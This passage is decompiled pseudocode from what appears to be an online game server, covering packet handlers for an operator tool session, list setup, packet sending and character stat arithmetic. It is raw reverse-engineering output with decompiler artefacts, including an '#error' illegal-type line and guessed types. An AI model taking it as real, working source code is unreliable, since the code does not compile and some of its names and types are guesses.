*netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK"); } //----- (00494CF0) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_MISC_HEARTBEAT_REQ(OPToolSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ"); } //----- (00494DC0) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ(OPToolSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 char *v3; // eax@1 int v4; // edx@1 char *v5; // eax@1 int v6; // eax@6 char *v7; // eax@9 int v8; // eax@14 char *v9; // eax@17 int v10; // eax@22 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 10248; v4 = (int)(v3 + 2); memset(v3 + 2, 0, 0xA8u); *((_WORD *)v3 + 85) = 0; v3[2] = LOBYTE(netcmd[1].protocol); v3[3] = 6; v5 = (char *)&sock2gameDB.sb_SocketStr[0].socket.baseclass_0.m_Status; while ( *(_DWORD *)v5 != 1 && *(_DWORD *)v5 != 2 ) { v5 += 264; if ( (signed int)v5 >= (signed int)&sock2gameDB.sb_Pointer.mask ) goto LABEL_9; } v6 = sock2gameDB.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID; if ( sock2gameDB.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID >= 21 ) v6 = 10; ++*(_WORD *)(v4 + 8 * v6 + 2); LABEL_9: v7 = (char *)&sock2gamelog.sb_SocketStr[0].socket.baseclass_0.m_Status; while ( *(_DWORD *)v7 != 1 && *(_DWORD *)v7 != 2 ) { v7 += 264; if ( (signed int)v7 >= (signed int)&sock2gamelog.sb_Pointer.mask ) goto LABEL_17; } v8 = sock2gamelog.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID; if ( sock2gamelog.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID >= 21 ) v8 = 10; ++*(_WORD *)(v4 + 8 * v8 + 2); LABEL_17: v9 = (char *)&stru_12571CFC.baseclass_0.m_Status; while ( *(_DWORD *)v9 != 1 && *(_DWORD *)v9 != 2 ) { v9 += 264; if ( (signed int)v9 >= (signed int)&unk_12572120 ) goto LABEL_25; } v10 = stru_12571CFC.baseclass_0.m_Connected_Server_ID; if ( stru_12571CFC.baseclass_0.m_Connected_Server_ID >= 21 ) v10 = 10; ++*(_WORD *)(v4 + 8 * v10 + 2); LABEL_25: *(_WORD *)(v4 + 162) = dword_124E32CC->l_ListNum; *(_WORD *)(v4 + 66) = optoollist.l_ListNum; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 172) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ : Packet Too Long", 172); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ"); } //----- (00494F70) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00494FC0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004950E0) -------------------------------------------------------- void __thiscall OPToolList::OPToolList(OPToolList *this) { OPToolList *v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 OPToolObject *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 OPToolObject *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 OPToolObject *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 OPToolObject *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 OPToolObject *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x32u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->optl_Array, 8u, 50, (void (__thiscall *)(void *))AllOfRangeArgument::AllOfRangeArgument, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 3; v4 = (int)&v1->optl_Array[1]; v5 = 10; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 8; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 8; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 16; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 24; } v4 += 40; v3 += 5; v2 += 5; --v5; } while ( v5 ); } // 5BC0DC: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00495200) -------------------------------------------------------- void __thiscall GlobalProtocolPacket::GlobalProtocolPacket(GlobalProtocolPacket *this) { this->baseclass_0.pp_PacketLength = 0; this->baseclass_0.pp_Buffer = this->gpp_Buffer; this->baseclass_0.pp_BufferSize = 8192; } //----- (00495220) -------------------------------------------------------- char __thiscall PacketContainer::pcb_Flush_Try_Catch(PacketContainer *this, ClientSession *session) { int v2; // eax@0 int v3; // ebx@0 PacketContainer *v4; // esi@1 char v5; // bl@1 int v6; // eax@1 int v7; // eax@4 int v8; // edx@8 ZoneBaseSession *v10; // ecx@10 int v11; // [sp-Ch] [bp-44h]@1 int v12; // [sp-8h] [bp-40h]@3 int v13; // [sp-4h] [bp-3Ch]@1 int v14; // [sp+0h] [bp-38h]@3 int v15; // [sp+4h] [bp-34h]@3 ClientSession *v16; // [sp+8h] [bp-30h]@3 int v17; // [sp+Ch] [bp-2Ch]@3 int v18; // [sp+10h] [bp-28h]@3 ClientSession *DisconnectSession; // [sp+14h] [bp-24h]@3 PacketContainer *v20; // [sp+18h] [bp-20h]@1 int v21; // [sp+1Ch] [bp-1Ch]@3 char rtn; // [sp+1Fh] [bp-19h]@1 int v23; // [sp+20h] [bp-18h]@1 int v24; // [sp+24h] [bp-14h]@3 int v25; // [sp+28h] [bp-10h]@1 int (__cdecl *v26)(int, _EH3_EXCEPTION_REGISTRATION *, int); // [sp+2Ch] [bp-Ch]@1 _UNKNOWN *v27; // [sp+30h] [bp-8h]@1 int v28; // [sp+34h] [bp-4h]@1 v27 = &unk_5BC320; v26 = _except_handler3; v25 = v2; v13 = v3; v23 = (int)&v11; v4 = this; v20 = this; v5 = 1; rtn = 1; v28 = 0; v6 = this->pc_Pointer; if ( v6 ) { if ( AssertClass::operator__(&shineassert, v6 < 8192, "Too long packet", this->pc_Pointer) ) { ((void (__thiscall *)(PacketContainer *, int, int, int, int, int, ClientSession *, int, int, ClientSession *, PacketContainer *, int, int, int, int))v4->baseclass_0.vfptr->pcb_Clear)( v4, v11, v12, v13, v14, v15, v16, v17, v18, DisconnectSession, v20, v21, v23, v24, v25); DisconnectSession = session; if ( session ) { v18 = session->cs_clienthandle; v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v18); v17 = v7; LABEL_8: v8 = *(_DWORD *)v7; v25 = 0; v24 = 0; v23 = 1670; (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(v8 + 1464))(v7, 1670, 0, 0); goto LABEL_9; } goto LABEL_9; } if ( AssertClass::operator__(&shineassert, session == v4->pc_Session, "Session wrong", v4->pc_Pointer) ) { ((void (__thiscall *)(PacketContainer *, int, int, int, int, int, ClientSession *, int, int, ClientSession *, PacketContainer *, int, int, int, int))v4->baseclass_0.vfptr->pcb_Clear)( v4, v11, v12, v13, v14, v15, v16, v17, v18, DisconnectSession, v20, v21, v23, v24, v25); v16 = session; if ( session ) { v15 = session->cs_clienthandle; v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v15); v14 = v7; goto LABEL_8; } LABEL_9: v28 = -1; return 0; } v10 = (ZoneBaseSession *)v4->pc_Session; if ( v10 ) { v5 = ZoneBaseSession::Send(v10, v4->pc_Buffer, v4->pc_Pointer); rtn = v5; v4->baseclass_0.vfptr->pcb_Clear((PacketContainerBase *)v4); } } return v5; } //----- (004953E0) -------------------------------------------------------- void __thiscall ProtocolPacket::pp_SendPacket(ProtocolPacket *this, ZoneBaseSession *session) { ProtocolPacket *v2; // ebx@1 int v3; // eax@1 signed int v4; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolPacket::pp_SendPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolPacket::pp_SendPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->pp_PacketLength; if ( v3 < 8189 ) { if ( v2->pp_PacketLength < 256 ) { buffer[0] = LOBYTE(v2->pp_PacketLength); v4 = 1; } else { buffer[0] = 0; *(_WORD *)&buffer[1] = LOWORD(v2->pp_PacketLength); v4 = 3; } memcpy(&buffer[v4], v2->pp_Buffer, v2->pp_PacketLength); ZoneBaseSession::Send(session, buffer, v4 + v2->pp_PacketLength); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SendPacket"); } else { AssertClass::ac_AssertFail(&shineassert, "ProtocolPacket::pp_SendPacket : Too long buffer", v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SendPacket"); } } //----- (00495520) -------------------------------------------------------- void __thiscall PacketContainerBase::pcb_Append(PacketContainerBase *this, #325 *a2, ProtocolPacket *pp) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PacketContainerBase::pcb_Append"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PacketContainerBase::pcb_Append"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PacketContainerBase::pcb_Append"); } //----- (00495570) -------------------------------------------------------- #error "495570: undefined or illegal type '#325' (funcsize=119)" //----- (00495720) -------------------------------------------------------- char __thiscall ProtocolPacket::pp_SetPacketLen(ProtocolPacket *this, int len) { ProtocolPacket *v2; // esi@1 char result; // al@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolPacket::pp_SetPacketLen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolPacket::pp_SetPacketLen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( len < v2->pp_BufferSize ) { v2->pp_PacketLength = len; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SetPacketLen"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SetPacketLen"); result = 0; } return result; } //----- (004957D0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_ply_GetClientSession() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GetClientSession"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_GetClientSession"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GetClientSession"); return 0; } //----- (00495820) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetClientSession(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GetClientSession"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GetClientSession"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 5904); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GetClientSession"); return v2; } //----- (00495890) -------------------------------------------------------- void __thiscall Parameter::Cluster::c_clearplus(Parameter::Cluster *this) { this->ResistGTI = 0; this->ResistMoveSpdDown = 0; this->ResistCurse = 0; this->ResistDeaseas = 0; this->ResistPoison = 0; this->RegistNone = 0; this->CriticalTB = 0; this->SPAbsorption_Hit = 0; this->HPAbsorption_Hit = 0; this->SPAbsorption_Hitted = 0; this->HPAbsorption_Hitted = 0; this->MaxSP = 0; this->MaxHP = 0; this->AttSpeed = 0; this->MagCriDamRate = 0; this->CriDamRate = 0; this->MagCriDam = 0; this->CriDam = 0; this->MACri = 0; this->EvaRate = 0; this->HitRate = 0; this->ShieldAC = 0; this->MagicalWeaponMastery = 0; this->PhisycalWeaponMastery = 0; this->Critical = 0; this->CastingTime = 0; this->SPRecover = 0; this->HPRecover = 0; this->MoveSpeed = 0; this->AbsoluteBlock = 0; this->AbsoluteHit = 0; this->AbsoluteDefend = 0; this->AbsoluteAttack = 0; this->MB = 0; this->MH = 0; this->MR = 0; this->MAmax = 0; this->MAmin = 0; this->TB = 0; this->TH = 0; this->AC = 0; this->WCmax = 0; this->WCmin = 0; this->Men = 0; this->Int = 0; this->Dex = 0; this->Con = 0; this->Str = 0; } //----- (00495960) -------------------------------------------------------- void __thiscall Parameter::Cluster::c_clearrate(Parameter::Cluster *this) { this->CriticalTB = 1000; this->SPAbsorption_Hit = 1000; this->HPAbsorption_Hit = 1000; this->SPAbsorption_Hitted = 1000; this->HPAbsorption_Hitted = 1000; this->MaxSP = 1000; this->MaxHP = 1000; this->AttSpeed = 1000; this->MagCriDamRate = 1000; this->CriDamRate = 1000; this->MagCriDam = 1000; this->CriDam = 1000; this->MACri = 1000; this->EvaRate = 1000; this->HitRate = 1000; this->ShieldAC = 1000; this->MagicalWeaponMastery = 1000; this->PhisycalWeaponMastery = 1000; this->Critical = 1000; this->CastingTime = 1000; this->SPRecover = 1000; this->HPRecover = 1000; this->MoveSpeed = 1000; this->AbsoluteBlock = 1000; this->AbsoluteHit = 1000; this->AbsoluteDefend = 1000; this->AbsoluteAttack = 1000; this->MB = 1000; this->MH = 1000; this->MR = 1000; this->MAmax = 1000; this->MAmin = 1000; this->TB = 1000; this->TH = 1000; this->AC = 1000; this->WCmax = 1000; this->WCmin = 1000; this->Men = 1000; this->Int = 1000; this->Dex = 1000; this->Con = 1000; this->Str = 1000; this->ResistGTI = 0; this->ResistMoveSpdDown = 0; this->ResistCurse = 0; this->ResistDeaseas = 0; this->ResistPoison = 0; this->RegistNone = 0; } //----- (00495A30) -------------------------------------------------------- signed int __thiscall Parameter::Container::IsNoAttacOrNoMove(int this) { signed int result; // eax@2 if ( *(_BYTE *)(this + 3086) & 7 ) result = 1; else result = 0; return result; } //----- (00495A50) -------------------------------------------------------- unsigned int __thiscall Parameter::Container::IsNoAttack(int this) { return ((unsigned int)*(_BYTE *)(this + 3086) >> 2) & 1; } //----- (00495A60) -------------------------------------------------------- void __thiscall ShineCommonParameter::ShineCommonParameter(ShineCommonParameter *this) { OptionReader::OptionReader(&this->scp_or); Parameter::Cluster::c_clearplus(¶meter_eraser_plus); Parameter::Cluster::c_clearrate(¶meter_eraser_rate); } //----- (00495A80) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_IsInWeapon() { return 1; } //----- (00495A90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_IsInWeapon(int this) { int result; // eax@1 result = *(_DWORD *)(this + 92236); if ( result ) result = *(_WORD *)(result + 8) != -1; return result; } //----- (00495AB0) -------------------------------------------------------- UpGradeInfo *__thiscall UpgradeDataBox::operator__(UpgradeDataBox *this, unsigned __int16 sub) { CDataReader::HEAD *v2; // edx@2 char *v3; // ecx@2 UpGradeInfo *result; // eax@3 if ( sub >= this->udb_Number ) { result = this->udb_default; } else { v2 = this->udb_BinData.baseclass_0.baseclass_0.m_pHead; v3 = (char *)&this->udb_BinData; if ( sub < v2->nNumOfRecord ) result = (UpGradeInfo *)CDataReader::GetRecord((CDataReader *)v3, sub); else result = (UpGradeInfo *)(v3 + 60); } return result; } //----- (00495AE0) -------------------------------------------------------- void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c) { Parameter::Cluster *v2; // esi@1 int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 int v6; // ecx@1 int v7; // edx@1 int v8; // ecx@1 int v9; // edx@1 int v10; // ecx@1 int v11; // edx@1 int v12; // ecx@1 int v13; // edx@1 int v14; // ecx@1 int v15; // edx@1 int v16; // ecx@1 int v17; // edx@1 int v18; // ecx@1 int v19; // ecx@1 int v20; // edx@1 int v21; // ecx@1 int v22; // edx@1 int v23; // ecx@1 int v24; // edx@1 int v25; // ecx@1 int v26; // edx@1 int v27; // ecx@1 int v28; // edx@1 int v29; // ecx@1 int v30; // edx@1 int v31; // ecx@1 int v32; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::operator +="); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::operator +="; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->Con; v2->Str += c->Str; v4 = v2->Dex; v2->Con = c->Con + v3; v5 = v2->Int; v2->Dex = c->Dex + v4; v6 = v2->Men; v2->Int = c->Int + v5; v7 = v2->WCmin; v2->Men = c->Men + v6; v8 = v2->WCmax; v2->WCmin = c->WCmin + v7; v9 = v2->AC; v2->WCmax = c->WCmax + v8; v10 = v2->TH; v2->AC = c->AC + v9; v11 = v2->TB; v2->TH = c->TH + v10; v12 = v2->MAmin; v2->TB = c->TB + v11; v13 = v2->MAmax; v2->MAmin = c->MAmin + v12; v14 = v2->MR; v2->MAmax = c->MAmax + v13; v15 = v2->MH; v2->MR = c->MR + v14; v16 = v2->MB; v2->MH = c->MH + v15; v17 = v2->AbsoluteAttack; v2->MB = c->MB + v16; v18 = v2->AbsoluteDefend; v2->AbsoluteAttack = c->AbsoluteAttack + v17; v2->AbsoluteDefend = c->AbsoluteDefend + v18; v19 = v2->AbsoluteBlock; v2->AbsoluteHit += c->AbsoluteHit; v20 = v2->MoveSpeed; v2->AbsoluteBlock = c->AbsoluteBlock + v19; v21 = v2->HPRecover; v2->MoveSpeed = c->MoveSpeed + v20; v22 = v2->SPRecover; v2->HPRecover = c->HPRecover + v21; v23 = v2->CastingTime; v2->SPRecover = c->SPRecover + v22; v24 = v2->Critical; v2->CastingTime = c->CastingTime + v23; v25 = v2->PhisycalWeaponMastery; v2->Critical = c->Critical + v24; v26 = v2->MagicalWeaponMastery; v2->PhisycalWeaponMastery = c->PhisycalWeaponMastery + v25; v27 = v2->ShieldAC; v2->MagicalWeaponMastery = c->MagicalWeaponMastery + v26; v28 = v2->HitRate; v2->ShieldAC = c->ShieldAC + v27; v29 = v2->EvaRate; v2->HitRate = c->HitRate + v28; v30 = v2->MACri; v2->EvaRate = c->EvaRate + v29; v31 = v2->CriDam; v2->MACri = c->MACri + v30; v32 = v2->MagCriDam; v2->CriDam = c->CriDam + v31; v2->MagCriDam = c->MagCriDam + v32; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::operator +="); } //----- (00495CA0) -------------------------------------------------------- void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c) { Parameter::Cluster *v2; // esi@1 int v3; // eax@3 signed int v4; // edx@4 int v5; // eax@5 int v6; // eax@7 signed int v7; // edx@8 int v8; // eax@9 int v9; // eax@11 signed int v10; // edx@12 int v11; // eax@13 int v12; // eax@15 signed int v13; // edx@16 int v14; // eax@17 int v15; // eax@19 signed int v16; // edx@20 int v17; // eax@21 int v18; // eax@23 signed int v19; // edx@24 int v20; // eax@25 int v21; // eax@27 signed int v22; // edx@28 int v23; // eax@29 int v24; // eax@31 signed int v25; // edx@32 int v26; // eax@33 int v27; // eax@35 signed int v28; // edx@36 int v29; // eax@37 int v30; // eax@39 signed int v31; // edx@40 int v32; // eax@41 int v33; // eax@43 signed int v34; // edx@44 int v35; // eax@45 int v36; // eax@47 signed int v37; // edx@48 int v38; // eax@49 int v39; // eax@51 signed int v40; // edx@52 int v41; // eax@53 int v42; // eax@55 signed int v43; // edx@56 int v44; // eax@57 int v45; // eax@59 signed int v46; // edx@60 int v47; // eax@61 int v48; // eax@63 signed int v49; // edx@64 int v50; // eax@65 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::operator *="); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::operator *="; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( c->Str != 1000 ) v2->Str = c->Str * v2->Str / 1000; v3 = c->Con; if ( v3 != 1000 ) { v4 = (signed int)((unsigned __int64)(274877907i64 * v3 * v2->Con) >> 32) >> 6; v2->Con = v4 + ((unsigned int)v4 >> 31); } v5 = c->Dex; if ( v5 != 1000 ) v2->Dex = v5 * v2->Dex / 1000; v6 = c->Int; if ( v6 != 1000 ) { v7 = (signed int)((unsigned __int64)(274877907i64 * v6 * v2->Int) >> 32) >> 6; v2->Int = v7 + ((unsigned int)v7 >> 31); } v8 = c->Men; if ( v8 != 1000 ) v2->Men = v8 * v2->Men / 1000; v9 = c->WCmin; if ( v9 != 1000 ) { v10 = (signed int)((unsigned __int64)(274877907i64 * v9 * v2->WCmin) >> 32) >> 6; v2->WCmin = v10 + ((unsigned int)v10 >> 31); } v11 = c->WCmax; if ( v11 != 1000 ) v2->WCmax = v11 * v2->WCmax / 1000; v12 = c->AC; if ( v12 != 1000 ) { v13 = (signed int)((unsigned __int64)(274877907i64 * v12 * v2->AC) >> 32) >> 6; v2->AC = v13 + ((unsigned int)v13 >> 31); } v14 = c->TH; if ( v14 != 1000 ) v2->TH = v14 * v2->TH / 1000; v15 = c->TB; if ( v15 != 1000 ) { v16 = (signed int)((unsigned __int64)(274877907i64 * v15 * v2->TB) >> 32) >> 6; v2->TB = v16 + ((unsigned int)v16 >> 31); } v17 = c->MAmin; if ( v17 != 1000 ) v2->MAmin = v17 * v2->MAmin / 1000; v18 = c->MAmax; if ( v18 != 1000 ) { v19 = (signed int)((unsigned __int64)(274877907i64 * v18 * v2->MAmax) >> 32) >> 6; v2->MAmax = v19 + ((unsigned int)v19 >> 31); } v20 = c->MR; if ( v20 != 1000 ) v2->MR = v20 * v2->MR / 1000; v21 = c->MH; if ( v21 != 1000 ) { v22 = (signed int)((unsigned __int64)(274877907i64 * v21 * v2->MH) >> 32) >> 6; v2->MH = v22 + ((unsigned int)v22 >> 31); } v23 = c->MB; if ( v23 != 1000 ) v2->MB = v23 * v2->MB / 1000; v24 = c->AbsoluteAttack; if ( v24 != 1000 ) { v25 = (signed int)((unsigned __int64)(274877907i64 * v24 * v2->AbsoluteAttack) >> 32) >> 6; v2->AbsoluteAttack = v25 + ((unsigned int)v25 >> 31); } v26 = c->AbsoluteDefend; if ( v26 != 1000 ) v2->AbsoluteDefend = v26 * v2->AbsoluteDefend / 1000; v27 = c->AbsoluteHit; if ( v27 != 1000 ) { v28 = (signed int)((unsigned __int64)(274877907i64 * v27 * v2->AbsoluteHit) >> 32) >> 6; v2->AbsoluteHit = v28 + ((unsigned int)v28 >> 31); } v29 = c->AbsoluteBlock; if ( v29 != 1000 ) v2->AbsoluteBlock = v29 * v2->AbsoluteBlock / 1000; v30 = c->MoveSpeed; if ( v30 != 1000 ) { v31 = (signed int)((unsigned __int64)(274877907i64 * v30 * v2->MoveSpeed) >> 32) >> 6; v2->MoveSpeed = v31 + ((unsigned int)v31 >> 31); } v32 = c->HPRecover; if ( v32 != 1000 ) v2->HPRecover = v32 * v2->HPRecover / 1000; v33 = c->SPRecover; if ( v33 != 1000 ) { v34 = (signed int)((unsigned __int64)(274877907i64 * v33 * v2->SPRecover) >> 32) >> 6; v2->SPRecover = v34 + ((unsigned int)v34 >> 31); } v35 = c->CastingTime; if ( v35 != 1000 ) v2->CastingTime = v35 * v2->CastingTime / 1000; v36 = c->Critical; if ( v36 != 1000 ) { v37 = (signed int)((unsigned __int64)(274877907i64 * v36 * v2->Critical) >> 32) >> 6; v2->Critical = v37 + ((unsigned int)v37 >> 31); } v38 = c->PhisycalWeaponMastery; if ( v38 != 1000 ) v2->PhisycalWeaponMastery = v38 * v2->PhisycalWeaponMastery / 1000; v39 = c->MagicalWeaponMastery; if ( v39 != 1000 ) { v40 = (signed int)((unsigned __int64)(274877907i64 * v39 * v2->MagicalWeaponMastery) >> 32) >> 6; v2->MagicalWeaponMastery = v40 + ((unsigned int)v40 >> 31); } v41 = c->ShieldAC; if ( v41 != 1000 ) v2->ShieldAC = v41 * v2->ShieldAC / 1000; v42 = c->HitRate; if ( v42 != 1000 ) { v43 = (signed int)((unsigned __int64)(274877907i64 * v42 * v2->HitRate) >> 32) >> 6; v2->HitRate = v43 + ((unsigned int)v43 >> 31); } v44 = c->EvaRate; if ( v44 != 1000 ) v2->EvaRate = v44 * v2->EvaRate / 